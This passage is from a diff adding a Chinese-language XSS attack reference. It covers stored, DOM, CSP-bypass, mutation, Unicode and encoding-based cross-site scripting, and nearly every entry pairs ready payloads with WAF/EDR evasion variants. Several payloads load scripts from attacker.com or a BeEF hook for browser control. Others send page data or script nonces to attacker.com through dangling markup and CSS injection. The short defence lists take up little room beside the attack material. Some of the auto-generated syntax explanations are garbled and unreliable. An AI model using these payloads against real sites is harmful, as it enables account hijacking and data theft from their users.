+ - `position:absolute;left:-9999px` — 移出可视区域 _value_
198
+
199
+ **3. 持久化控制**
200
+ > 加载外部恶意脚本
201
+ ```
202
+ <script>
203
+ if(!window.xss_loaded){
204
+ window.xss_loaded=true;
205
+ var s=document.createElement("script");
206
+ s.src="http://attacker.com/evil.js";
207
+ document.body.appendChild(s);
208
+ }
209
+ </script>
210
+ ```
211
+ **语法解析:**
212
+ - `createElement` — 创建DOM元素 _function_
213
+ - `appendChild` — 添加到DOM树 _function_
214
+
215
+ **4. BeEF Hook**
216
+ > 使用BeEF框架控制浏览器
217
+ ```
218
+ <script src="http://beef-server:3000/hook.js"></script>
219
+ 或:
220
+ <script>
221
+ var s=document.createElement("script");
222
+ s.src="http://beef-server:3000/hook.js";
223
+ document.body.appendChild(s);
224
+ </script>
225
+ ```
226
+ **语法解析:**
227
+ - `<script src="http://beef-server:3000/hook.js">` — HTML标签/事件处理器 _tag_
228
+ - `</script>` — HTML标签/事件处理器 _tag_
229
+ - `
230
+ 或:
231
+ ` — 注入代码 _value_
232
+ - `<script>` — HTML标签/事件处理器 _tag_
233
+ - `
234
+ var s=document.createElement("script");
235
+ s.src="http://beef-server:3000/hook.js";
236
+ document.body.appendChild(s);
237
+ ` — 注入代码 _value_
238
+ - `</script>` — HTML标签/事件处理器 _tag_
239
+
240
+ **WAF/EDR 绕过变体:**
241
+
242
+ **SVG标签绕过**
243
+ > 使用SVG标签绕过
244
+ ```
245
+ <svg><script>alert(1)</script></svg>
246
+ <svg><animate onbegin=alert(1)>
247
+ <svg><set onbegin=alert(1)>
248
+ ```
249
+ **语法解析:**
250
+ - `<svg>` — HTML标签/事件处理器 _tag_
251
+ - `<script>` — HTML标签/事件处理器 _tag_
252
+ - `alert(1)` — 注入代码 _value_
253
+ - `</script>` — HTML标签/事件处理器 _tag_
254
+ - `</svg>` — HTML标签/事件处理器 _tag_
255
+ - `
256
+ ` — 注入代码 _value_
257
+ - `<svg>` — HTML标签/事件处理器 _tag_
258
+ - `<animate onbegin=alert(1)>` — HTML标签/事件处理器 _tag_
259
+ - `
260
+ ` — 注入代码 _value_
261
+ - `<svg>` — HTML标签/事件处理器 _tag_
262
+ - `<set onbegin=alert(1)>` — HTML标签/事件处理器 _tag_
263
+
264
+ **Math标签绕过**
265
+ > 使用MathML标签
266
+ ```
267
+ <math><maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">click</maction></math>
268
+ ```
269
+ **语法解析:**
270
+ - `<math>` — HTML标签/事件处理器 _tag_
271
+ - `<maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">` — HTML标签/事件处理器 _tag_
272
+ - `click` — 注入代码 _value_
273
+ - `</maction>` — HTML标签/事件处理器 _tag_
274
+ - `</math>` — HTML标签/事件处理器 _tag_
275
+
276
+
277
+ **概述:** 存储型XSS是危害最大的XSS类型,恶意脚本被永久存储在目标服务器(数据库/文件)中。每个访问受感染页面的用户都会自动执行恶意代码,无需用户点击特殊链接。
278
+
279
+ **漏洞原理:** 存储型XSS的触发点包括:用户评论/留言板、个人资料(用户名/签名/头像URL)、论坛帖子、即时消息、文件名、日志查看器等任何存储后会被其他用户浏览的内容。漏洞根因是存储时和显示时均未进行安全处理。
280
+
281
+ **利用方法:** 完整利用流程:
282
+ 1. 找到数据存储点
283
+ 2. 注入恶意脚本
284
+ 3. 等待其他用户访问
285
+ 4. 自动执行恶意操作
286
+
287
+ **防御措施:** 防御措施:
288
+ 1. 存储前进行HTML编码
289
+ 2. 输出时进行上下文编码
290
+ 3. 使用CSP策略
291
+ 4. 定期扫描存储内容
292
+
293
+ ---
294
+
295
+ ### DOM型XSS `xss-dom`
296
+ _基于DOM的跨站脚本攻击_
297
+ 子类:**DOM型** · tags: `xss` `dom` `javascript`
298
+
299
+ **前置条件:**
300
+ - 存在JavaScript动态操作DOM
301
+ - 用户输入直接写入DOM
302
+
303
+ **攻击链:**
304
+
305
+ **1. 探测DOM XSS**
306
+ > 探测DOM型XSS
307
+ ```
308
+ #<script>alert(1)</script>
309
+ ?param=<img src=x onerror=alert(1)>
310
+ 检查location.hash、location.search等是否直接写入DOM
311
+ ```
312
+ **语法解析:**
313
+ - `location.hash` — URL中#后面的部分 _value_
314
+ - `location.search` — URL中?后面的查询字符串 _value_
315
+
316
+ **2. 常见Sink点**
317
+ > 常见的DOM XSS Sink点
318
+ ```
319
+ document.write(location.hash)
320
+ innerHTML = location.search
321
+ eval(location.hash)
322
+ setTimeout(location.hash, 0)
323
+ jQuery(html)
324
+ $(location.hash)
325
+ ```
326
+ **语法解析:**
327
+ - `document.write` — 直接写入HTML _value_
328
+ - `innerHTML` — 设置元素HTML内容 _value_
329
+ - `eval()` — 执行JavaScript代码 _value_
330
+
331
+ **3. location.hash利用**
332
+ > 利用location.hash
333
+ ```
334
+ URL: http://target.com/#<img src=x onerror=alert(1)>
335
+ 如果页面有: document.write(location.hash)
336
+ 则触发XSS
337
+ ```
338
+ **语法解析:**
339
+ - `URL: http://target.com/#` — 注入代码 _value_
340
+ - `<img src=x onerror=alert(1)>` — HTML标签/事件处理器 _tag_
341
+ - `
342
+ 如果页面有: document.write(location.hash)
343
+ 则触发XSS` — 注入代码 _value_
344
+
345
+ **4. postMessage利用**
346
+ > 利用postMessage
347
+ ```
348
+ window.addEventListener("message", function(e){
349
+ document.getElementById("output").innerHTML = e.data;
350
+ });
351
+ 攻击页面:
352
+ targetWindow.postMessage("<img src=x onerror=alert(1)>", "*");
353
+ ```
354
+ **语法解析:**
355
+ - `<img>` — 图片标签 _tag_
356
+ - `onerror` — 错误事件 _keyword_
357
+ - `alert()` — 弹窗函数 _function_
358
+ - `innerHTML` — DOM内容修改 _variable_
359
+
360
+ **WAF/EDR 绕过变体:**
361
+
362
+ **javascript:协议变体绕过**
363
+ > 使用大小写混淆、HTML实体编码、制表符插入等方式绕过javascript:协议过滤
364
+ ```
365
+ javascript:alert(1)
366
+ javascript :alert(1)
367
+ jaVaScRiPt:alert(1)
368
+ &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
369
+ <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">click</a>
370
+ ```
371
+ **语法解析:**
372
+ - `javascript:alert(1)
373
+ javascript :alert(1)
374
+ jaVaScRiPt:alert(1)
375
+ &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
376
+ ` — 注入代码 _value_
377
+ - `<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">` — HTML标签/事件处理器 _tag_
378
+ - `click` — 注入代码 _value_
379
+ - `</a>` — HTML标签/事件处理器 _tag_
380
+
381
+ **SVG/MathML标签与事件处理器绕过**
382
+ > 利用SVG、MathML等非标准HTML标签及冷门事件处理器(ontoggle、onpageshow)绕过标签和事件黑名单
383
+ ```
384
+ <svg onload=alert(1)>
385
+ <svg/onload=alert(1)>
386
+ <math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
387
+ <details open ontoggle=alert(1)>
388
+ <body onpageshow=alert(1)>
389
+ <input onfocus=alert(1) autofocus>
390
+ ```
391
+ **语法解析:**
392
+ - `<svg onload=alert(1)>` — HTML标签/事件处理器 _tag_
393
+ - `<svg/onload=alert(1)>` — HTML标签/事件处理器 _tag_
394
+ - `<math>` — HTML标签/事件处理器 _tag_
395
+ - `<mtext>` — HTML标签/事件处理器 _tag_
396
+ - `<table>` — HTML标签/事件处理器 _tag_
397
+ - `<mglyph>` — HTML标签/事件处理器 _tag_
398
+ - `<svg>` — HTML标签/事件处理器 _tag_
399
+ - `<mtext>` — HTML标签/事件处理器 _tag_
400
+ - `<textarea>` — HTML标签/事件处理器 _tag_
401
+ - `<path id="</textarea>` — HTML标签/事件处理器 _tag_
402
+ - `<img onerror=alert(1) src=1>` — HTML标签/事件处理器 _tag_
403
+ - `">
404
+ ` — 注入代码 _value_
405
+ - `<details open ontoggle=alert(1)>` — HTML标签/事件处理器 _tag_
406
+ - `<body onpageshow=alert(1)>` — HTML标签/事件处理器 _tag_
407
+ - `<input onfocus=alert(1) autofocus>` — HTML标签/事件处理器 _tag_
408
+
409
+
410
+ **概述:** DOM型XSS完全在客户端执行,恶意脚本不经过服务器处理。攻击者通过操纵DOM环境(如URL片段、document.referrer)使页面JavaScript读取并不安全地写入恶意内容。
411
+
412
+ **漏洞原理:** DOM型XSS的source(输入源)包括location.hash、location.search、document.referrer、postMessage等,sink(危险函数)包括innerHTML、document.write、eval、setTimeout等。当source数据未经净化直接传递给sink时触发漏洞。
413
+
414
+ **利用方法:** 完整利用流程:
415
+ 1. 分析JavaScript代码找到Sink点
416
+ 2. 构造恶意URL
417
+ 3. 诱使受害者访问
418
+ 4. 浏览器执行恶意脚本
419
+
420
+ **防御措施:** 防御措施:
421
+ 1. 使用textContent代替innerHTML
422
+ 2. 对DOM操作进行编码
423
+ 3. 使用安全的框架API
424
+ 4. 启用CSP策略
425
+
426
+ ---
427
+
428
+ ### CSP绕过 `xss-csp-bypass`
429
+ _绕过内容安全策略(CSP)的XSS技术_
430
+ 子类:**CSP绕过** · tags: `xss` `csp` `bypass`
431
+
432
+ **前置条件:**
433
+ - 存在XSS漏洞
434
+ - 存在CSP策略但配置不当
435
+
436
+ **攻击链:**
437
+
438
+ **1. 分析CSP策略**
439
+ > 分析CSP配置
440
+ ```
441
+ 查看HTTP响应头:
442
+ Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
443
+ 或使用CSP Evaluator工具分析
444
+ ```
445
+ **语法解析:**
446
+ - `查看HTTP响应头:` — 命令/关键字 _command_
447
+
448
+ **2. 利用unsafe-inline**
449
+ > 利用unsafe-inline配置
450
+ ```
451
+ 如果CSP包含unsafe-inline:
452
+ <script>alert(1)</script>
453
+ 可以直接执行内联脚本
454
+ ```
455
+ **语法解析:**
456
+ - `如果CSP包含unsafe-inline:
457
+ ` — 注入代码 _value_
458
+ - `<script>` — HTML标签/事件处理器 _tag_
459
+ - `alert(1)` — 注入代码 _value_
460
+ - `</script>` — HTML标签/事件处理器 _tag_
461
+ - `
462
+ 可以直接执行内联脚本` — 注入代码 _value_
463
+
464
+ **3. 利用unsafe-eval**
465
+ > 利用unsafe-eval配置
466
+ ```
467
+ 如果CSP包含unsafe-eval:
468
+ <script>eval("alert(1)")</script>
469
+ <script>setTimeout("alert(1)", 0)</script>
470
+ 可以使用eval等函数
471
+ ```
472
+ **语法解析:**
473
+ - `如果CSP包含unsafe-eval:
474
+ ` — 注入代码 _value_
475
+ - `<script>` — HTML标签/事件处理器 _tag_
476
+ - `eval("alert(1)")` — 注入代码 _value_
477
+ - `</script>` — HTML标签/事件处理器 _tag_
478
+ - `<script>` — HTML标签/事件处理器 _tag_
479
+ - `setTimeout("alert(1)", 0)` — 注入代码 _value_
480
+ - `</script>` — HTML标签/事件处理器 _tag_
481
+ - `
482
+ 可以使用eval等函数` — 注入代码 _value_
483
+
484
+ **4. JSONP绕过**
485
+ > 利用JSONP绕过
486
+ ```
487
+ 如果允许的域名有JSONP端点:
488
+ <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
489
+ 利用JSONP回调执行代码
490
+ ```
491
+ **语法解析:**
492
+ - `callback` — JSONP回调参数 _value_
493
+
494
+ **5. AngularJS绕过**
495
+ > 利用AngularJS绕过CSP
496
+ ```
497
+ 如果允许了AngularJS CDN:
498
+ <div ng-app ng-csp>
499
+ <div ng-focus="$event.path|orderBy:'[].constructor.from([alert(1)])'" tabindex=0>
500
+ </div>
501
+ </div>
502
+ ```
503
+ **语法解析:**
504
+ - `alert()` — 弹窗函数 _function_
505
+
506
+ **6. Dangling Markup**
507
+ > 利用悬挂标记窃取数据
508
+ ```
509
+ <img src='http://attacker.com/?
510
+ 捕获后续HTML内容直到遇到单引号
511
+ ```
512
+ **语法解析:**
513
+ - `<img>` — 图片标签 _tag_
514
+
515
+ **WAF/EDR 绕过变体:**
516
+
517
+ **JSONP端点劫持CSP**
518
+ > 利用CSP白名单域上的JSONP回调端点或AngularJS库执行任意JavaScript,无需unsafe-inline
519
+ ```
520
+ # 寻找白名单域上的JSONP端点:
521
+ <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
522
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
523
+ <div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>
524
+ ```
525
+ **语法解析:**
526
+ - `# 寻找白名单域上的JSONP端点:
527
+ ` — 注入代码 _value_
528
+ - `<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)">` — HTML标签/事件处理器 _tag_
529
+ - `</script>` — HTML标签/事件处理器 _tag_
530
+ - `<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js">` — HTML标签/事件处理器 _tag_
531
+ - `</script>` — HTML标签/事件处理器 _tag_
532
+ - `<div ng-app ng-csp>` — HTML标签/事件处理器 _tag_
533
+ - `{{$eval.constructor("alert(1)")()}}` — 注入代码 _value_
534
+ - `</div>` — HTML标签/事件处理器 _tag_
535
+
536
+ **base-uri劫持与script nonce泄露**
537
+ > 利用CSP未限制base-uri指令劫持脚本加载源,或通过CSS注入/DOM接口泄露script nonce值
538
+ ```
539
+ # base-uri未限制时:
540
+ <base href="http://attacker.com/">
541
+ # 页面中相对路径的脚本将从attacker.com加载
542
+
543
+ # nonce泄露利用:
544
+ # 通过CSS注入窃取nonce:
545
+ <style>script[nonce^="a"]{background:url(http://attacker.com/?n=a)}</style>
546
+ # 或通过DOM读取: document.querySelector("script[nonce]").nonce
547
+ ```
548
+ **语法解析:**
549
+ - `# base-uri未限制时:
550
+ ` — 注入代码 _value_
551
+ - `<base href="http://attacker.com/">` — HTML标签/事件处理器 _tag_
552
+ - `
553
+ # 页面中相对路径的脚本将从attacker.com加载
554
+
555
+ # nonce泄露利用:
556
+ # 通过CSS注入窃取nonce:
557
+ ` — 注入代码 _value_
558
+ - `<style>` — HTML标签/事件处理器 _tag_
559
+ - `script[nonce^="a"]{background:url(http://attacker.com/?n=a)}` — 注入代码 _value_
560
+ - `</style>` — HTML标签/事件处理器 _tag_
561
+ - `
562
+ # 或通过DOM读取: document.querySelector("script[nonce]").nonce` — 注入代码 _value_
563
+
564
+
565
+ **概述:** CSP(Content Security Policy)是浏览器端的XSS防御机制,通过限制脚本来源阻止恶意代码执行。CSP绕过技术利用策略配置缺陷或可信域名上的gadget来突破限制。
566
+
567
+ **漏洞原理:** CSP绕过的常见攻击面:unsafe-inline/unsafe-eval策略过于宽松、base-uri未限制导致<base>标签劫持、script-src白名单包含CDN/JSONP端点、object-src未限制允许Flash/PDF XSS、缺少default-src兜底策略。
568
+
569
+ **利用方法:** 完整利用流程:
570
+ 1. 分析CSP策略
571
+ 2. 寻找白名单中的可利用域名
572
+ 3. 构造绕过payload
573
+ 4. 执行恶意脚本
574
+
575
+ **防御措施:** 防御措施:
576
+ 1. 使用严格的CSP策略
577
+ 2. 避免unsafe-inline和unsafe-eval
578
+ 3. 仔细审查白名单域名
579
+ 4. 使用nonce或hash方式
580
+
581
+ ---
582
+
583
+ ### 突变型XSS(mXSS) `xss-mxss`
584
+ _利用浏览器解析差异导致的XSS攻击_
585
+ 子类:**突变型** · tags: `xss` `mxss` `mutation` `bypass`
586
+
587
+ **前置条件:**
588
+ - 存在HTML输出点
589
+ - 浏览器解析差异
590
+
591
+ **攻击链:**
592
+
593
+ **1. 基础mXSS探测**
594
+ > 利用noscript标签解析差异
595
+ ```
596
+ <noscript><p title="</noscript><img src=x onerror=alert(1)>">
597
+ ```
598
+ **语法解析:**
599
+ - `<noscript>` — 脚本禁用时显示的内容 _tag_
600
+ - `p title` — 属性值在解析时变化 _value_
601
+ - `</noscript>` — 闭合标签导致突变 _tag_
602
+
603
+ **2. SVG mXSS**
604
+ > SVG CDATA突变
605
+ ```
606
+ <svg><![CDATA[<img src=x onerror=alert(1)>]]></svg>
607
+ <svg><script><![CDATA[alert(1)]]></script></svg>
608
+ ```
609
+ **语法解析:**
610
+ - `<script>` — 脚本标签 _tag_
611
+ - `<img>` — 图片标签 _tag_
612
+ - `<svg>` — SVG标签 _tag_
613
+ - `onerror` — 错误事件处理器 _keyword_
614
+
615
+ **3. Math mXSS**
616
+ > MathML突变XSS
617
+ ```
618
+ <math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
619
+ ```
620
+ **语法解析:**
621
+ - `<img>` — 图片标签 _tag_
622
+ - `onerror` — 错误事件处理器 _keyword_
623
+ - `alert()` — 弹窗函数 _function_
624
+
625
+ **4. DOM clobbering配合**
626
+ > 利用DOM clobbering
627
+ ```
628
+ <form id=x></form><form id=x><img src=x onerror=alert(1)></form>
629
+ ```
630
+ **语法解析:**
631
+ - `id=x` — 重复ID导致DOM变化 _value_
632
+
633
+ **WAF/EDR 绕过变体:**
634
+
635
+ **嵌套标签绕过**
636
+ > SVG内脚本编码绕过
637
+ ```
638
+ <svg><script>&#97;lert(1)</script></svg>
639
+ <svg><script>a&#108;ert(1)</script></svg>
640
+ ```
641
+ **语法解析:**
642
+ - `<svg>` — HTML标签/事件处理器 _tag_
643
+ - `<script>` — HTML标签/事件处理器 _tag_
644
+ - `&#97;lert(1)` — 注入代码 _value_
645
+ - `</script>` — HTML标签/事件处理器 _tag_
646
+ - `</svg>` — HTML标签/事件处理器 _tag_
647
+ - `
648
+ ` — 注入代码 _value_
649
+ - `<svg>` — HTML标签/事件处理器 _tag_
650
+ - `<script>` — HTML标签/事件处理器 _tag_
651
+ - `a&#108;ert(1)` — 注入代码 _value_
652
+ - `</script>` — HTML标签/事件处理器 _tag_
653
+ - `</svg>` — HTML标签/事件处理器 _tag_
654
+
655
+
656
+ **概述:** mXSS(Mutation XSS)利用浏览器DOM解析和序列化过程中的差异,使经过安全过滤器处理后的HTML在浏览器渲染时产生新的XSS向量。是绕过DOMPurify等先进过滤器的高级技术。
657
+
658
+ **漏洞原理:** mXSS利用innerHTML赋值时的DOM序列化→反序列化差异:某些HTML结构在被解析后再序列化时会产生变异(如SVG/MathML命名空间切换、注释节点解析差异),使原本安全的HTML变为包含脚本执行能力的代码。
659
+
660
+ **利用方法:** 完整利用流程:
661
+ 1. 研究目标过滤规则
662
+ 2. 构造突变payload
663
+ 3. 验证解析差异
664
+ 4. 执行恶意代码
665
+
666
+ **防御措施:** 防御措施:
667
+ 1. 使用DOMPurify等安全库
668
+ 2. 避免innerHTML操作
669
+ 3. 使用textContent替代
670
+ 4. 定期更新过滤规则
671
+
672
+ ---
673
+
674
+ ### Unicode XSS `xss-unicode`
675
+ _利用Unicode编码特性绕过过滤_
676
+ 子类:**Unicode编码** · tags: `xss` `unicode` `encoding` `bypass`
677
+
678
+ **前置条件:**
679
+ - 存在XSS注入点
680
+ - 过滤器检查关键字
681
+
682
+ **攻击链:**
683
+
684
+ **1. Unicode转义**
685
+ > JavaScript Unicode转义
686
+ ```
687
+ <script>\u0061lert(1)</script>
688
+ <script>\x61lert(1)</script>
689
+ <script>\u{61}lert(1)</script>
690
+ ```
691
+ **语法解析:**
692
+ - `\a` — a的Unicode转义(4位) _value_
693
+ - `\x61` — a的十六进制转义 _value_
694
+ - `\u{61}` — a的Unicode码点转义 _value_
695
+
696
+ **2. HTML实体编码**
697
+ > HTML十进制/十六进制实体
698
+ ```
699
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
700
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
701
+ ```
702
+ **语法解析:**
703
+ - `&#97;` — a的十进制HTML实体 _encoding_
704
+ - `&#x61;` — a的十六进制HTML实体 _encoding_
705
+
706
+ **3. Unicode规范化攻击**
707
+ > 利用Unicode规范化
708
+ ```
709
+ 使用规范化等效字符:
710
+ <script>alert(1)</script>
711
+ 使用全角字符绕过
712
+ ```
713
+ **语法解析:**
714
+ - `<` — 全角小于号(U+FF1C) _value_
715
+ - `>` — 全角大于号(U+FF1E) _value_
716
+
717
+ **4. UTF-7编码**
718
+ > UTF-7编码XSS
719
+ ```
720
+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
721
+ 需要页面使用UTF-7编码
722
+ ```
723
+ **语法解析:**
724
+ - `+ADw-` — UTF-7编码的< _value_
725
+ - `+AD4-` — UTF-7编码的> _value_
726
+
727
+ **WAF/EDR 绕过变体:**
728
+
729
+ **混合编码绕过**
730
+ > 混合多种编码方式
731
+ ```
732
+ <img src=x onerror=\u0061&#108;ert(1)>
733
+ <img src=x onerror="\u0061lert`1`">
734
+ ```
735
+ **语法解析:**
736
+ - `<img src=x onerror=\a&#108;ert(1)>` — HTML标签/事件处理器 _tag_
737
+ - `
738
+ ` — 注入代码 _value_
739
+ - `<img src=x onerror="\alert`1`">` — HTML标签/事件处理器 _tag_
740
+
741
+ **过长UTF-8编码**
742
+ > 利用服务器UTF-8解析差异
743
+ ```
744
+ <img src=x onerror=alert(1)>
745
+ 使用非最短UTF-8编码形式
746
+ ```
747
+ **语法解析:**
748
+ - `<img src=x onerror=alert(1)>` — HTML标签/事件处理器 _tag_
749
+ - `
750
+ 使用非最短UTF-8编码形式` — 注入代码 _value_
751
+
752
+
753
+ **概述:** Unicode XSS利用Unicode字符编码的复杂性绕过XSS过滤器,包括同形异义字符替换、零宽字符插入、UTF-16/UTF-32编码差异等技术,使恶意脚本在过滤器和浏览器之间产生不同解释。
754
+
755
+ **漏洞原理:** Unicode XSS攻击面:1)全角字符替换半角(<script>) 2)UTF-7编码绕过(+ADw-script+AD4-) 3)零宽字符(U+200B/U+FEFF)分割关键词 4)Unicode规范化(NFC/NFKC)导致字符变换 5)IDN同形攻击域名绕过过滤。
756
+
757
+ **利用方法:** 完整利用流程:
758
+ 1. 分析编码处理逻辑
759
+ 2. 选择合适的编码方式
760
+ 3. 绕过关键字过滤
761
+ 4. 执行恶意脚本
762
+
763
+ **防御措施:** 防御措施:
764
+ 1. 统一使用UTF-8编码
765
+ 2. 输入规范化后再过滤
766
+ 3. 使用安全的编码函数
767
+ 4. 避免混合编码处理
768
+
769
+ ---
770
+
771
+ ### XSS过滤器绕过 `xss-filter-bypass`
772
+ _各种绕过XSS过滤器的技术_
773
+ 子类:**过滤器绕过** · tags: `xss` `filter` `bypass` `waf`
774
+
775
+ **前置条件:**
776
+ - 存在XSS注入点
777
+ - 存在过滤机制
778
+
779
+ **攻击链:**
780
+
781
+ **1. 大小写混淆**
782
+ > 混合大小写绕过
783
+ ```
784
+ <ScRiPt>alert(1)</ScRiPt>
785
+ <IMG SRC=x OnErRoR=alert(1)>
786
+ <SvG OnLoAd=alert(1)>
787
+ ```
788
+ **语法解析:**
789
+ - `ScRiPt` — 大小写混合的script标签 _value_
790
+ - `OnErRoR` — 大小写混合的事件处理器 _value_
791
+
792
+ **2. 双写绕过**
793
+ > 双写绕过关键字删除
794
+ ```
795
+ <scr<script>ipt>alert(1)</scr</script>ipt>
796
+ <imimgg src=x onerror=alert(1)>
797
+ ```
798
+ **语法解析:**
799
+ - `scr<script>ipt` — 中间的script被删除后形成完整标签 _value_
800
+
801
+ **3. 注释混淆**
802
+ > 使用注释混淆
803
+ ```
804
+ <script>/**/alert(1)/**/</script>
805
+ <img src=x/**/onerror=alert(1)>
806
+ <svg on<!--test-->load=alert(1)>
807
+ ```
808
+ **语法解析:**
809
+ - `/**/` — JavaScript注释 _operator_
810
+ - `<!--test-->` — HTML注释 _value_
811
+
812
+ **4. 空字节截断**
813
+ > 空字节截断绕过
814
+ ```
815
+ <scr\x00ipt>alert(1)</script>
816
+ <img src=x onerror=alert\x00(1)>
817
+ ```
818
+ **语法解析:**
819
+ - `\x00` — 空字节,某些过滤器会在此截断 _value_
820
+
821
+ **5. 标签属性绕过**
822
+ > 利用空白字符绕过
823
+ ```
824
+ <img src=x onerror=alert(1)>
825
+ <img src=x onerror =alert(1)>
826
+ <img src=x onerror =alert(1)>
827
+ <img src=x onerror
828
+ =alert(1)>
829
+ ```
830
+ **语法解析:**
831
+ - `onerror =` — 等号前加空格 _value_
832
+ - `onerror =` — 等号前加Tab _value_
833
+
834
+ **6. 事件处理器变体**
835
+ > 使用少见的事件处理器
836
+ ```
837
+ <body onpageshow=alert(1)>
838
+ <input onfocus=alert(1) autofocus>
839
+ <marquee onstart=alert(1)>
840
+ <video><source onerror=alert(1)>
841
+ <details open ontoggle=alert(1)>
842
+ <audio src=x onerror=alert(1)>
843
+ ```
844
+ **语法解析:**
845
+ - `<body onpageshow=alert(1)>` — HTML标签/事件处理器 _tag_
846
+ - `
847
+ ` — 注入代码 _value_
848
+ - `<input onfocus=alert(1) autofocus>` — HTML标签/事件处理器 _tag_
849
+ - `
850
+ ` — 注入代码 _value_
851
+ - `<marquee onstart=alert(1)>` — HTML标签/事件处理器 _tag_
852
+ - `
853
+ ` — 注入代码 _value_
854
+ - `<video>` — HTML标签/事件处理器 _tag_
855
+ - `<source onerror=alert(1)>` — HTML标签/事件处理器 _tag_
856
+ - `
857
+ ` — 注入代码 _value_
858
+ - `<details open ontoggle=alert(1)>` — HTML标签/事件处理器 _tag_
859
+ - `
860
+ ` — 注入代码 _value_
861
+ - `<audio src=x onerror=alert(1)>` — HTML标签/事件处理器 _tag_
862
+
863
+ **WAF/EDR 绕过变体:**
864
+
865
+ **Data URI绕过**
866
+ > 使用Data URI
867
+ ```
868
+ <a href="data:text/html,<script>alert(1)</script>">click</a>
869
+ <iframe src="data:text/html,<script>alert(1)</script>">
870
+ ```
871
+ **语法解析:**
872
+ - `<a href="data:text/html,<script>` — HTML标签/事件处理器 _tag_
873
+ - `alert(1)` — 注入代码 _value_
874
+ - `</script>` — HTML标签/事件处理器 _tag_
875
+ - `">click` — 注入代码 _value_
876
+ - `</a>` — HTML标签/事件处理器 _tag_
877
+ - `
878
+ ` — 注入代码 _value_
879
+ - `<iframe src="data:text/html,<script>` — HTML标签/事件处理器 _tag_
880
+ - `alert(1)` — 注入代码 _value_
881
+ - `</script>` — HTML标签/事件处理器 _tag_
882
+ - `">` — 注入代码 _value_
883
+
884
+ **SVG动画绕过**
885
+ > SVG动画事件
886
+ ```
887
+ <svg><animate onbegin=alert(1)>
888
+ <svg><set onbegin=alert(1)>
889
+ ```
890
+ **语法解析:**
891
+ - `<svg>` — HTML标签/事件处理器 _tag_
892
+ - `<animate onbegin=alert(1)>` — HTML标签/事件处理器 _tag_
893
+ - `
894
+ ` — 注入代码 _value_
895
+ - `<svg>` — HTML标签/事件处理器 _tag_
896
+ - `<set onbegin=alert(1)>` — HTML标签/事件处理器 _tag_
897
+
898
+
899
+ **概述:** XSS过滤器绕过是实战中最核心的技能,需要深入理解各种过滤规则的实现缺陷,通过HTML标签变体、事件处理器替换、编码混合、DOM特性利用等方式构造有效的XSS向量。
900
+
901
+ **漏洞原理:** XSS过滤器绕过技术矩阵:1)黑名单绕过(使用非常见标签如<svg>/<details>/<marquee>) 2)事件处理器替换(onfocus/onmouseover代替onclick) 3)属性注入(autofocus配合onfocus) 4)协议绕过(javascript:/data:) 5)HTML实体编码嵌套。
902
+
903
+ **利用方法:** 完整利用流程:
904
+ 1. 分析过滤规则
905
+ 2. 测试各种绕过技术
906
+ 3. 找到有效的payload
907
+ 4. 执行恶意代码
908
+
909
+ **防御措施:** 防御措施:
910
+ 1. 使用白名单过滤
911
+ 2. 输出编码而非输入过滤
912
+ 3. 使用CSP策略
913
+ 4. 定期更新过滤规则
914
+
915
+ ---
916
+
917
+ ### XSS编码绕过 `xss-encoding`
918
+ _利用各种编码技术绕过XSS过滤_
919
+ 子类:**编码绕过** · tags: `xss` `encoding` `bypass`
920
+
921
+ **前置条件:**
922
+ - 存在XSS注入点
923
+ - 存在编码处理
924
+
925
+ **攻击链:**
926
+
927
+ **1. URL编码**
928
+ > URL编码绕过
929
+ ```
930
+ <img src=x onerror=%61lert(1)>
931
+ %3Cscript%3Ealert(1)%3C/script%3E
932
+ ```
933
+ **语法解析:**
934
+ - `%61` — a的URL编码 _encoding_
935
+ - `%3C` — <的URL编码 _encoding_
936
+ - `%3E` — >的URL编码 _encoding_
937
+
938
+ **2. HTML实体编码**
939
+ > HTML实体编码
940
+ ```
941
+ <img src=x onerror=&#97;lert(1)>
942
+ <img src=x onerror=&#x61;lert(1)>
943
+ &lt;script&gt;alert(1)&lt;/script&gt;
944
+ ```
945
+ **语法解析:**
946
+ - `&#97;` — a的十进制HTML实体 _encoding_
947
+ - `&#x61;` — a的十六进制HTML实体 _encoding_
948
+ - `&lt;` — <的命名实体 _value_
949
+
950
+ **3. JavaScript编码**
951
+ > JavaScript编码
952
+ ```
953
+ <img src=x onerror="\u0061lert(1)">
954
+ <img src=x onerror="\x61lert(1)">
955
+ <img src=x onerror="eval(atob('YWxlcnQoMSk='))">
956
+ ```
957
+ **语法解析:**
958
+ - `\a` — Unicode转义 _value_
959
+ - `atob()` — Base64解码函数 _function_
960
+ - `YWxlcnQoMSk=` — alert(1)的Base64 _value_
961
+
962
+ **4. CSS编码**
963
+ > CSS编码(旧版IE)
964
+ ```
965
+ <style>body{background:url("javascript:alert(1)")}</style>
966
+ <div style="x:expression(alert(1))">
967
+ ```
968
+ **语法解析:**
969
+ - `<style>` — HTML标签/事件处理器 _tag_
970
+ - `body{background:url("javascript:alert(1)")}` — 注入代码 _value_
971
+ - `</style>` — HTML标签/事件处理器 _tag_
972
+ - `
973
+ ` — 注入代码 _value_
974
+ - `<div style="x:expression(alert(1))">` — HTML标签/事件处理器 _tag_
975
+
976
+ **5. 混合编码**
977
+ > 混合多种编码
978
+ ```
979
